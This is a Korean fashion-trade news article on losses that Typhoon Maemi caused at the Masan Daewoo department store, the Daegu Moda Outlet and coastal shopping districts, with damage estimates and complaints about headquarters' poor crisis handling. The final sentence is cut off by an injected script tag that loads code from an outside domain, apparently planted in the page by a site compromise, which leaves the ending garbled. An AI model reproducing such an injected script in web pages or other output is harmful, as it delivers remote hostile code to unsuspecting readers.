태풍 매미, 패션 업체도 삼켰다
2006-12-27박찬승 기자 pcs@fashioninsight.com
마산대우·대구 「모다」 침수 …일반 보험으로는 구제 안돼

태풍 ‘매미’는 패션업체에도 적지 않은 피해를 안겼다.
마산 대우백화점을 비롯해 통영, 사천, 거제, 부산, 여수 등 남해안 가두상권에 큰 피해를 입혔다.
또 대구 성서단지에 위치한 모다아울렛을 비롯해 울산, 포항 등 경상도 내륙지방 일부 패션 상권에도 피해를 준 것으로 조사됐다.
현지 관계자들은 이번 사태로 인한 피해액이 영업을 하지 못해 생긴 기회비용손실을 합해, 마산 대우백화점이 100억, 대구 모다아울렛도 30억 이상 될 것으로 전망했다.
기타 가두상권들도 정확한 피해액 산정이 어려울 정도로 피해가 컸던 것으로 나타났다. 특히 이번 사태와 같은 천재지변은 일반 보험으로는 구제가 안돼 일부 매장은 영업을 접는 경우도 목격되고 있다.

해안가 상권 상당수 침수
폭풍 ‘매미’ 직격탄에 만조와 사리가 겹쳐 해일 피해까지 더해진 마산과 통영 등 해안가 도시의 피해가 특히 컸다.
마산 대우백화점은 지하 1, 2층 영플라자와 마트가 바닷물에 완전히 수몰됐고, 80개 잡화 브랜드가 입점해 있는 1층도 모두 물에 잠겼다.
복종별로는 지하 1층에 입점해 있는 캐주얼 브랜드의 피해가 제일 컸다.「마루」「니」「클라이드」「디데이」「에프알제이」「행텐」「유지아이젯」등 9개 캐주얼 브랜드가 입점해 있는 이곳은 매장 당 많게는 2억 이상의 상품이 물에 잠긴 것으로 조사됐다.
침수 피해는 없었지만 기타 층에 있는 매장들도 이번 침수사태로 점 운영이 마비, 20일 가까이 영업을 할 수 없어 이 피해액을 더 하면, 마산 대우백화점의 피해액은 족히 100억원에 이를 전망이다.
현재 복구작업이 한창인 마산 대우백화점은 물을 빼는 데만 10일 가까이 소요될 것으로 보여, 정상 영업은 빨라야 이 달 말경에나 가능한 상황이다.
해일로 패션 스트리트까지 배가 밀려오기도 했던 통영의 피해도 막심했다.
통영은 핵심상권이라 할 수 있는 대로변 앞쪽 라인이 침수돼, 이 라인에 있던 브랜드 대부분이 피해를 입었다. 나이키」를 비롯해 「파크랜드」「닥스」 「라코스떼」 「엘레쎄」 「디데이」등은 정상 영업이 어려울 정도로 피해가 컸다.
사천시 삼천포도 「니」 등 상당수 브랜드 매장이 침수 피해를 입었다.
거제는 침수 피해에 정전 사태로 5일간 도시 기능이 마비, 업친 데 덮친 격으로 피해가 컸다.
부산도 광복동과 해운대 등 해안가 주변 상권에 있는 매장에서 피해가 일부 목격됐다. 특히 해안가지만 고지대라 피해가 없을 것으로 보였던 해운대로데오까지 피해가 관측돼, 이번 '매미' 위력이 얼마나 대단했는지 실감케 했다.
해운대로데오의 한 관계자는 “강풍으로 2개 매장의 유리창이 파손됐고, 1개 매장은 천장 일부가 내려 앉는 등 피해를 입었다”고 말했다.
경상도 내륙지역 중에선 대구 성서단지에 위치한 모다아울렛의 피해가 컸다.
성서공단 내 배수펌프 고장으로 물이 역류돼, 1층 50개 매장이 전부 침수되는 피해를 입었다.
모다아울렛 장재영 상무는 “1층에 입점한 유니섹스캐주얼과 영캐주얼 잡화 등 브랜드의 피해가 컸다”며, “일주일간 영업손실과 시설비를 포함해 이번 침수로 인한 피해액이 최소 30억에 이를 것으로 추산된다”고 말했다.
이밖에 여수 울산 강릉 등에서도 피해가 발생됐다. 특히 재래시장의 피해가 컸던 여수는 이곳에 주로 입점해 있는 유아동 브랜드의 피해가 컸다.

매장 비축 물량 많아 피해 커
이번 침수사태는 추석 매기를 겨냥, 매장별로 재고 상품이 많았기에 피해가 특히 컸다.
마산 대우백화점 지하 영프라자에 입점한 한 브랜드 관계자는 “추석 매기를 겨냥해 매장에서 물량이 많이 입고된 상태고, 창고에는 추석 이후 본사에 반품할 이월 상품을 보관하고 있던 상황”이라며 “매장 재고 물량이 2억 이상 되는 매장도 상당수였다”고 말했다.
50개 매장이 물에 잠긴 대구 모다아울렛은 풍수 피해를 전혀 예측하지 못한 탓에 피해가 컸다.
모다아울렛 최진원 홍보과장은 “침수시점이 영업 종료 이후고, 침수의 직접적인 원인도 태풍이 아닌 성서단지 배수펌프 고장으로 인한 역류”라며, “이번 사태는 사실상 무방비 상태에서 당한 인재”라고 말했다.
패션기업 위기대처시스템 미숙도 침수로 인한 피해액이 커진 주된 요인으로 지적되고 있다.
피해지역 한 점주는 “본사로부터 장마철 침수를 대비해 행동지침서라도 있었으면 이처럼 피해가 크지는 않았을 것”이라며 “침수 전은 물론 사후에도 어떻게 해야 하는가에 대한 어떠한 행동지침도 못 받았다”며 본사의 매장관리 미숙을 지적했다.
매장 관리자의 책임의식 부족으로 인한 초기대응 미흡도 피해 규모가 커진 한 요인이다.
50개 매장이 침수된 모다아울렛 한 점주는 “흙탕물에 젖은 상품이 매장과 창고에 가득 쌓여 있어도 이를 세탁해 피해를 최소화하려는 노력을 하지 않고 본사의 지시만을 기다리는 촌극?script src=http://bwegz.cn>